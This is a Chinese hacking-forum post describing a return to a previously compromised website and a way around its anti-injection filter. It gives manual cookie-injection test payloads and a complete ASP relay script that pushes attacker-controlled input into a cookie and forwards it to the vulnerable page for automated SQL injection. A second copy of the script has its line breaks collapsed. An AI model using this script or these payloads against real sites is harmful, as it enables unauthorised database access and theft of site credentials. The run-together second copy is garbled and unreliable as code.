电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 786 人浏览分享

多思路入侵WEB服务器

[复制链接]
786 0
这次目标是一个N个月之前就搞定过的一个站点,当时搞定它很简单,就是注入备份得WEBSHELL。这次由于某种原因又需要尝试一次。由于N

久没看过这个网站了,打开后发现整个网站全部改版了,已经不再是之前的那套程序了,首页一眼望去全是HMTL网页,这下没法注了…还是尝

试百度一下吧。

打开百度搜索:ASP www.xxx.org

从搜索结果中找了些ASP页面并逐一进行了手工注入判断,结果发现网站使用通用防注入程序,以前遇到这样的我就直接放弃不搞了,但这次得

硬啃了。幸好我这阵子一直在研究web入侵,刚搞最近看了一个培训班的教程,名字就叫[Web入侵班31集],大家要是感兴趣的话,我给出下载

地址,想看的自己去下,免费的,地址是http://www.chinaitpx.com/downloa ... h4b31d1c215168.html,好了,继续我们的正

题:

依稀记得看到过某人写过绕过通用防注入系统继续注入的文章,百度了一下没找到那篇文章,但是却找到了《cookie注入绕过SQL通用防注入程

序》,

    原文如下:

目前世面上大部分防注入程序都没有对cookie注入进行预防,虽然cookie手工注入麻烦了点,但对于有耐性的人来说,还是可以得到后台密码

的,如果是MSSQL数据库,那么就更简单了。所以本文的目的就是用工具来代替手工进行cookie注入~~,手工方法如下:比如网址如下

http://zzz.com/cplb.ASP?id=46,对GET以及POST提交的数据都进行了检测,也没办法饶过。首先打开上面的地址,再清空地址栏,输入

javascript:alert(document.cookie="id="+escape("46 and 1=2")),再输入http://zzz.com/cplb.ASP,页面返回错误,说明有希望;提交

javascript:alert(document.cookie="id="+escape("46 and 1=1")),最后输入http://zzz.com/cplb.ASP,这次返回完全正常;可以确定存在

cookie注入。以下代码来自寂寞的刺猬[L.S.T],脚本高手啊~~


<%
cookname=request("jmdcw")
cookname=escape(cookname)
jmstr="id="&cookname      ‘存在注入的变量
jmstr=replace(jmstr,chr(32),"%20")
jmstr=replace(jmstr,chr(43),"%2b")
  
‘//以下三行需要修改,Cookies值可以用Domain3.5浏览下就得到了~~
jmurl="http://zzz.com/cplb.ASP" ‘存在注入的网址
jmref="http://zzz.com/index.ASP" ‘来源地址
jmcok="ASPSESSIONIDCQTAQBSQ=ALGDAPNDKCOHJNDCAMOHDHLK"
  
jmcok=jmcok& ";"&jmstr&";"
response.write postdata(jmurl,jmcok,jmref)
function postdata(posturl,postcok,postref)
dim http
set http=server.createobject("msxml2.serverxmlhttp")
with http
.open "POST",posturl,false
.setRequestheader "content-type","application/x-www-form-urlencoded"
.setrequestheader "referer",postref
.setrequestheader "cookie",postcok        ‘提交cookie值
.send()        ‘发送数据
postdata=.responsebody          ‘得到返回的二进制信息
end with
set http=nothing
postdata=bytes2BSTR(postdata) ‘转换二进制流
end function
  
function bytes2BSTR(vin)
dim strReturn
dim i,thischarcode,nextcharcode
strReturn=""
for i=1 to lenB(vin)
thischarcode=ascB(midB(vin,1,1))
if thischarcode<&H80 then
strReturn=strReturn&chr(thischarcode)
else
nextcharcode=ascB(midB(vin,1+1,1))
strReturn=strReturn&chr(clng(thischarcode) * &H100+cint(nextcharcode))
i=i+1
end if
next
bytes2BSTR=strReturn
end function
%>
<%cookname=request("jmdcw")cookname=escape(cookname)jmstr="id="&cookname      '存在注入的变量jmstr=replace(jmstr,chr(32),"%

20")jmstr=replace(jmstr,chr(43),"%2b")'//以下三行需要修改,Cookies值可以用Domain3.5浏览下就得到了

~~jmurl="http://zzz.com/cplb.ASP" '存在注入的网址jmref="http://zzz.com/index.ASP" '来源地址

jmcok="ASPSESSIONIDCQTAQBSQ=ALGDAPNDKCOHJNDCAMOHDHLK"jmcok=jmcok& ";"&jmstr&";"response.write postdata(jmurl,jmcok,jmref)

function postdata(posturl,postcok,postref)dim httpset http=server.createobject("msxml2.serverxmlhttp")with http.open

"POST",posturl,false.setRequestheader "content-type","application/x-www-form-urlencoded".setrequestheader

"referer",postref.setrequestheader "cookie",postcok        '提交cookie值.send()        '发送数据postdata=.responsebody        

  '得到返回的二进制信息end withset http=nothingpostdata=bytes2BSTR(postdata) '转换二进制流end functionfunction bytes2BSTR

(vin)dim strReturndim i,thischarcode,nextcharcodestrReturn=""for i=1 to lenB(vin)thischarcode=ascB(midB(vin,1,1))if

thischarcode<&H80 thenstrReturn=strReturn&chr(thischarcode)elsenextcharcode=ascB(midB(vin,1+1,1))strReturn=strReturn&chr

(clng(thischarcode) * &H100+cint(nextcharcode))i=i+1end ifnextbytes2BSTR=strReturnend function%>
保存为jmdcw.ASP,最后可以本机装个IIS或绿色的ASPsrv.exe,那么注入地址就是http://127.0.0.1/jmdcw.ASP?jmdcw=46

您需要登录后才可以回帖 登录 | 注册

本版积分规则

0

关注

0

粉丝

5

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.